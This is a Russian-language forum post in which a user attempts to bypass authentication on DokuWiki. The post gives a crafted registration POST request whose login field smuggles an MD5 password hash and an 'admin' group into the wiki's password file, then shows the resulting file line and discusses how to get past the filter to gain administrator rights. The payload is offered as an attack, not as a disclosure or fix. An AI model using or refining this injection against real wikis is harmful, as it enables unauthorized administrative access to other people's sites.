
15.05.2019, 16:03
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
Все хочу забайпасить авторизацию на dokuwiki
И так опять фича с регистрацией!
POST /dokuwiki/doku.php?id=start&do=register HTTP/1.1
sectok=94c7d3ba9119dc710b222532a91b2951&do=registe r&save=1&login=tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin&fullname=test&email=a%40a
tat= это логин
fullname- это полное имя.
mail- почта.
admin- Это те самые заветные права которые дадут нам доступ к админке.
21232f297a57a5a743894a0e4a801fc3= PasswordHash (admin)
(который понимает декодер dokuwiki , он без спец символов типа $./ , ведь стандартный генератор паролей выдает типа таких хешей: $1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1 , и если прописать это в строку логина фильтр уберет символы )
и так если в поле логин вписать: tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin
то в файле паролей мы получим
следующее:
tat:21232f297a57a5a743894a0e4a801fc3:fullname:mail:admin:$1$jqx36cSS$vP98kfpUXAQLfXBDn6OSZ/:test:a@a:user
а должно быть так:
tzwtf:$1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1:Sanya:admin@mail.ru:admin,user
Мы видим что права к группам идут через запятую , или с пробелом.
а в нашем случае двоеточии: .........name:mail:admin:$1$jqx36c.......
Если в ручную поставить пробел в файле то админка появляется, то-есть задача или поставить запятую или пробел, оба символа в поле логин фильтруются, хотя в поле fullnameвозможно поставить пробел
|
|
|